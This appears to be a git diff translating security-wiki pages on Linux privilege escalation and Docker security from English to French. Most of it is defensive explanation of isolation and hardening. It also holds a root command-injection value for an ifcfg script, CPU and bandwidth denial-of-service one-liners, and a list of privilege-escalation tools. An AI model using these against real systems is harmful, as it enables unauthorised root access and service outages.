`ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Si, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** peut **ajuster** un existant, alors votre **système est compromis**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Les scripts réseau, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourced\~ sur Linux par Network Manager (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. - -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Dans mon cas, le `NAME=` attribué dans ces scripts réseau n'est pas géré correctement. Si vous avez **un espace blanc dans le nom, le système essaie d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace blanc est exécuté en tant que root**. +Par exemple : _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +### **init, init.d, systemd et rc.d** -(_Note the blank space between Network and /bin/id_) +Le répertoire `/etc/init.d` est le foyer des **scripts** pour System V init (SysVinit), le **système de gestion de services Linux classique**. Il comprend des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`. -### **init, init.d, systemd, and rc.d** +D'autre part, `/etc/init` est associé à **Upstart**, un **système de gestion de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart. -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant le processus d'administration système. -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +## Autres astuces -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. - -## Other Tricks - -### NFS Privilege escalation +### Escalade de privilèges NFS {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### Évasion des Shells restreints {{#ref}} escaping-from-limited-bash.md @@ -1610,31 +1378,31 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Kernel Security Protections +## Protections de sécurité du noyau - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Plus d'aide [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Tools +## Outils Privesc Linux/Unix -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ -**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ -**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ -**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ -**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ -**Mestaploit:** _**multi/recon/local_exploit_suggester**_\ -**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**LinEnum** : [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ +**Enumy** : [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ +**Vérification Privesc Unix :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ +**Vérificateur de privilèges Linux :** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ +**BeeRoot :** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ +**Kernelpop :** Énumérer les vulnérabilités du noyau dans linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Mestaploit :** _**multi/recon/local_exploit_suggester**_\ +**Suggesteur d'exploits Linux :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ +**EvilAbigail (accès physique) :** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Références - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index d48f733d4..f386bd3a7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -1,57 +1,46 @@ -# Docker Security +# Sécurité Docker {{#include ../../../banners/hacktricks-training.md}} -
+## **Sécurité de base du moteur Docker** -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Le **moteur Docker** utilise les **Namespaces** et **Cgroups** du noyau Linux pour isoler les conteneurs, offrant une couche de sécurité de base. Une protection supplémentaire est fournie par le **dropping des capacités**, **Seccomp**, et **SELinux/AppArmor**, améliorant l'isolation des conteneurs. Un **plugin d'authentification** peut restreindre davantage les actions des utilisateurs. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} +![Sécurité Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) -## **Basic Docker Engine Security** +### Accès sécurisé au moteur Docker -The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions. - -![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) - -### Secure Access to Docker Engine - -The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication. - -The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings: +Le moteur Docker peut être accessible localement via un socket Unix ou à distance en utilisant HTTP. Pour un accès à distance, il est essentiel d'utiliser HTTPS et **TLS** pour garantir la confidentialité, l'intégrité et l'authentification. +Le moteur Docker, par défaut, écoute sur le socket Unix à `unix:///var/run/docker.sock`. Sur les systèmes Ubuntu, les options de démarrage de Docker sont définies dans `/etc/default/docker`. Pour activer l'accès à distance à l'API Docker et au client, exposez le démon Docker via un socket HTTP en ajoutant les paramètres suivants : ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` +Cependant, exposer le démon Docker sur HTTP n'est pas recommandé en raison de préoccupations de sécurité. Il est conseillé de sécuriser les connexions en utilisant HTTPS. Il existe deux approches principales pour sécuriser la connexion : -However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection: +1. Le client vérifie l'identité du serveur. +2. Le client et le serveur s'authentifient mutuellement l'identité de chacun. -1. The client verifies the server's identity. -2. Both the client and server mutually authenticate each other's identity. +Des certificats sont utilisés pour confirmer l'identité d'un serveur. Pour des exemples détaillés des deux méthodes, consultez [**ce guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). -Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). +### Sécurité des images de conteneurs -### Security of Container Images +Les images de conteneurs peuvent être stockées dans des dépôts privés ou publics. Docker propose plusieurs options de stockage pour les images de conteneurs : -Container images can be stored in either private or public repositories. Docker offers several storage options for container images: +- [**Docker Hub**](https://hub.docker.com) : Un service de registre public de Docker. +- [**Docker Registry**](https://github.com/docker/distribution) : Un projet open-source permettant aux utilisateurs d'héberger leur propre registre. +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry) : L'offre de registre commercial de Docker, avec authentification des utilisateurs basée sur des rôles et intégration avec des services d'annuaire LDAP. -- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker. -- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry. -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services. +### Analyse des images -### Image Scanning +Les conteneurs peuvent avoir des **vulnérabilités de sécurité** soit à cause de l'image de base, soit à cause du logiciel installé sur l'image de base. Docker travaille sur un projet appelé **Nautilus** qui effectue une analyse de sécurité des conteneurs et répertorie les vulnérabilités. Nautilus fonctionne en comparant chaque couche d'image de conteneur avec un référentiel de vulnérabilités pour identifier les failles de sécurité. -Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. - -For more [**information read this**](https://docs.docker.com/engine/scan/). +Pour plus [**d'informations, lisez ceci**](https://docs.docker.com/engine/scan/). - **`docker scan`** -The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: - +La commande **`docker scan`** vous permet de scanner des images Docker existantes en utilisant le nom ou l'ID de l'image. Par exemple, exécutez la commande suivante pour scanner l'image hello-world : ```bash docker scan hello-world @@ -67,111 +56,90 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` - - [**`trivy`**](https://github.com/aquasecurity/trivy) - ```bash trivy -q -f json : ``` - - [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli) - ```bash snyk container test --json-file-output= --severity-threshold=high ``` - - [**`clair-scanner`**](https://github.com/arminc/clair-scanner) - ```bash clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` +### Signature d'image Docker -### Docker Image Signing +La signature d'image Docker garantit la sécurité et l'intégrité des images utilisées dans les conteneurs. Voici une explication condensée : -Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation: - -- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io). -- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later. -- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). -- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error. -- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image. - -To back up your private keys, use the command: +- **Docker Content Trust** utilise le projet Notary, basé sur The Update Framework (TUF), pour gérer la signature des images. Pour plus d'infos, voir [Notary](https://github.com/docker/notary) et [TUF](https://theupdateframework.github.io). +- Pour activer la confiance dans le contenu Docker, définissez `export DOCKER_CONTENT_TRUST=1`. Cette fonctionnalité est désactivée par défaut dans Docker version 1.10 et ultérieure. +- Avec cette fonctionnalité activée, seules les images signées peuvent être téléchargées. La première poussée d'image nécessite de définir des phrases de passe pour les clés root et de balisage, Docker prenant également en charge Yubikey pour une sécurité renforcée. Plus de détails peuvent être trouvés [ici](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +- Tenter de tirer une image non signée avec la confiance dans le contenu activée entraîne une erreur "No trust data for latest". +- Pour les poussées d'image après la première, Docker demande la phrase de passe de la clé du dépôt pour signer l'image. +Pour sauvegarder vos clés privées, utilisez la commande : ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` +Lors du changement d'hôtes Docker, il est nécessaire de déplacer les clés root et repository pour maintenir les opérations. -When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations. - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - -## Containers Security Features +## Fonctionnalités de Sécurité des Conteneurs
-Summary of Container Security Features +Résumé des Fonctionnalités de Sécurité des Conteneurs -**Main Process Isolation Features** +**Fonctionnalités Principales d'Isolation des Processus** -In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts: +Dans les environnements conteneurisés, l'isolation des projets et de leurs processus est primordiale pour la sécurité et la gestion des ressources. Voici une explication simplifiée des concepts clés : -**Namespaces** +**Espaces de Noms** -- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers. -- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does. -- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry. +- **Objectif** : Assurer l'isolation des ressources telles que les processus, le réseau et les systèmes de fichiers. Particulièrement dans Docker, les espaces de noms maintiennent les processus d'un conteneur séparés de l'hôte et des autres conteneurs. +- **Utilisation de `unshare`** : La commande `unshare` (ou l'appel système sous-jacent) est utilisée pour créer de nouveaux espaces de noms, fournissant une couche supplémentaire d'isolation. Cependant, bien que Kubernetes ne bloque pas cela par défaut, Docker le fait. +- **Limitation** : La création de nouveaux espaces de noms ne permet pas à un processus de revenir aux espaces de noms par défaut de l'hôte. Pour pénétrer les espaces de noms de l'hôte, il faudrait généralement accéder au répertoire `/proc` de l'hôte, en utilisant `nsenter` pour l'entrée. -**Control Groups (CGroups)** +**Groupes de Contrôle (CGroups)** -- **Function**: Primarily used for allocating resources among processes. -- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access. +- **Fonction** : Principalement utilisés pour allouer des ressources entre les processus. +- **Aspect Sécuritaire** : Les CGroups eux-mêmes n'offrent pas de sécurité d'isolation, sauf pour la fonctionnalité `release_agent`, qui, si mal configurée, pourrait potentiellement être exploitée pour un accès non autorisé. -**Capability Drop** +**Abandon de Capacité** -- **Importance**: It's a crucial security feature for process isolation. -- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions. - -These are the **remaining capabilities** after the process drop the others: +- **Importance** : C'est une fonctionnalité de sécurité cruciale pour l'isolation des processus. +- **Fonctionnalité** : Elle restreint les actions qu'un processus root peut effectuer en abandonnant certaines capacités. Même si un processus s'exécute avec des privilèges root, le manque de capacités nécessaires l'empêche d'exécuter des actions privilégiées, car les appels système échoueront en raison de permissions insuffisantes. +Voici les **capabilités restantes** après que le processus ait abandonné les autres : ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` - **Seccomp** -It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\ -The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +Il est activé par défaut dans Docker. Il aide à **limiter encore plus les syscalls** que le processus peut appeler.\ +Le **profil Seccomp par défaut de Docker** peut être trouvé sur [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) **AppArmor** -Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Docker a un modèle que vous pouvez activer : [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -This will allow to reduce capabilities, syscalls, access to files and folders... +Cela permettra de réduire les capacités, les syscalls, l'accès aux fichiers et aux dossiers...
### Namespaces -**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. +Les **Namespaces** sont une fonctionnalité du noyau Linux qui **partitionne les ressources du noyau** de sorte qu'un ensemble de **processus** **voit** un ensemble de **ressources** tandis qu'un **autre** ensemble de **processus** voit un **ensemble différent** de ressources. La fonctionnalité fonctionne en ayant le même namespace pour un ensemble de ressources et de processus, mais ces namespaces se réfèrent à des ressources distinctes. Les ressources peuvent exister dans plusieurs espaces. -Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: +Docker utilise les Namespaces du noyau Linux suivants pour atteindre l'isolation des Conteneurs : -- pid namespace -- mount namespace -- network namespace -- ipc namespace -- UTS namespace +- namespace pid +- namespace de montage +- namespace réseau +- namespace ipc +- namespace UTS -For **more information about the namespaces** check the following page: +Pour **plus d'informations sur les namespaces**, consultez la page suivante : {{#ref}} namespaces/ @@ -179,62 +147,58 @@ namespaces/ ### cgroups -Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ -Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. - +La fonctionnalité du noyau Linux **cgroups** fournit la capacité de **restreindre les ressources comme le cpu, la mémoire, io, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des Conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le Conteneur spécifique.\ +Voici un Conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de cpu à 512, un blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU par le Conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois Conteneurs ont la même part de CPU de 1024, chaque Conteneur peut prendre jusqu'à 33 % du CPU en cas de contention des ressources CPU. Le blkio-weight est un ratio qui contrôle l'IO du Conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` - -To get the cgroup of a container you can do: - +Pour obtenir le cgroup d'un conteneur, vous pouvez faire : ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` - -For more information check: +Pour plus d'informations, consultez : {{#ref}} cgroups.md {{#endref}} -### Capabilities +### Capacités -Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. +Les capacités permettent un **contrôle plus précis des capacités qui peuvent être autorisées** pour l'utilisateur root. Docker utilise la fonctionnalité de capacité du noyau Linux pour **limiter les opérations qui peuvent être effectuées à l'intérieur d'un conteneur**, indépendamment du type d'utilisateur. -When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape: +Lorsqu'un conteneur docker est exécuté, le **processus abandonne les capacités sensibles que le processus pourrait utiliser pour échapper à l'isolement**. Cela essaie d'assurer que le processus ne pourra pas effectuer d'actions sensibles et s'échapper : {{#ref}} ../linux-capabilities.md {{#endref}} -### Seccomp in Docker +### Seccomp dans Docker -This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: +C'est une fonctionnalité de sécurité qui permet à Docker de **limiter les syscalls** qui peuvent être utilisés à l'intérieur du conteneur : {{#ref}} seccomp.md {{#endref}} -### AppArmor in Docker +### AppArmor dans Docker -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: +**AppArmor** est une amélioration du noyau pour confiner les **conteneurs** à un **ensemble limité** de **ressources** avec des **profils par programme** : {{#ref}} apparmor.md {{#endref}} -### SELinux in Docker +### SELinux dans Docker -- **Labeling System**: SELinux assigns a unique label to every process and filesystem object. -- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system. -- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`. -- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`. -- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`. +- **Système de Labeling** : SELinux attribue un label unique à chaque processus et objet de système de fichiers. +- **Application des Politiques** : Il applique des politiques de sécurité qui définissent quelles actions un label de processus peut effectuer sur d'autres labels au sein du système. +- **Labels des Processus de Conteneur** : Lorsque les moteurs de conteneurs initient des processus de conteneur, ils se voient généralement attribuer un label SELinux confiné, communément `container_t`. +- **Labeling des Fichiers dans les Conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés comme `container_file_t`. +- **Règles de Politique** : La politique SELinux garantit principalement que les processus avec le label `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés comme `container_file_t`. -This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises. +Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur est compromis, il est confiné à interagir uniquement avec des objets ayant les labels correspondants, limitant considérablement les dommages potentiels résultant de tels compromis. {{#ref}} ../selinux.md @@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised, ### AuthZ & AuthN -In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts: +Dans Docker, un plugin d'autorisation joue un rôle crucial dans la sécurité en décidant d'autoriser ou de bloquer les demandes au démon Docker. Cette décision est prise en examinant deux contextes clés : -- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves. -- **Command Context**: This comprises all pertinent data related to the request being made. +- **Contexte d'Authentification** : Cela inclut des informations complètes sur l'utilisateur, telles que qui ils sont et comment ils se sont authentifiés. +- **Contexte de Commande** : Cela comprend toutes les données pertinentes liées à la demande faite. -These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations. +Ces contextes aident à garantir que seules les demandes légitimes d'utilisateurs authentifiés sont traitées, renforçant la sécurité des opérations Docker. {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## DoS from a container +## DoS depuis un conteneur -If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running. - -- CPU DoS +Si vous ne limitez pas correctement les ressources qu'un conteneur peut utiliser, un conteneur compromis pourrait provoquer un DoS sur l'hôte où il s'exécute. +- DoS CPU ```bash # stress-ng sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m @@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` - -- Bandwidth DoS - +- Bande passante DoS ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` +## Drapeaux Docker intéressants -## Interesting Docker Flags +### Drapeau --privileged -### --privileged flag - -In the following page you can learn **what does the `--privileged` flag imply**: +Dans la page suivante, vous pouvez apprendre **ce que signifie le drapeau `--privileged`** : {{#ref}} docker-privileged.md @@ -287,16 +247,13 @@ docker-privileged.md #### no-new-privileges -If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. - -Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**. +Si vous exécutez un conteneur où un attaquant parvient à accéder en tant qu'utilisateur à faible privilège. Si vous avez un **binaire suid mal configuré**, l'attaquant peut en abuser et **escalader les privilèges à l'intérieur** du conteneur. Ce qui peut lui permettre d'en sortir. +Exécuter le conteneur avec l'option **`no-new-privileges`** activée **préventera ce type d'escalade de privilèges**. ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` - -#### Other - +#### Autre ```bash #You can manually add/drop capabilities with --cap-add @@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` +Pour plus d'options **`--security-opt`**, consultez : [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) -For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +## Autres considérations de sécurité -## Other Security Considerations +### Gestion des secrets : Meilleures pratiques -### Managing Secrets: Best Practices +Il est crucial d'éviter d'incorporer des secrets directement dans les images Docker ou d'utiliser des variables d'environnement, car ces méthodes exposent vos informations sensibles à quiconque ayant accès au conteneur via des commandes comme `docker inspect` ou `exec`. -It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`. +**Les volumes Docker** sont une alternative plus sûre, recommandée pour accéder à des informations sensibles. Ils peuvent être utilisés comme un système de fichiers temporaire en mémoire, atténuant les risques associés à `docker inspect` et à la journalisation. Cependant, les utilisateurs root et ceux ayant accès à `exec` dans le conteneur pourraient toujours accéder aux secrets. -**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets. +**Les secrets Docker** offrent une méthode encore plus sécurisée pour gérer des informations sensibles. Pour les instances nécessitant des secrets pendant la phase de construction de l'image, **BuildKit** présente une solution efficace avec le support des secrets au moment de la construction, améliorant la vitesse de construction et fournissant des fonctionnalités supplémentaires. -**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features. +Pour tirer parti de BuildKit, il peut être activé de trois manières : -To leverage BuildKit, it can be activated in three ways: - -1. Through an environment variable: `export DOCKER_BUILDKIT=1` -2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .` -3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart. - -BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like: +1. Par une variable d'environnement : `export DOCKER_BUILDKIT=1` +2. En préfixant les commandes : `DOCKER_BUILDKIT=1 docker build .` +3. En l'activant par défaut dans la configuration Docker : `{ "features": { "buildkit": true } }`, suivi d'un redémarrage de Docker. +BuildKit permet l'utilisation de secrets au moment de la construction avec l'option `--secret`, garantissant que ces secrets ne sont pas inclus dans le cache de construction de l'image ou l'image finale, en utilisant une commande comme : ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` - -For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a 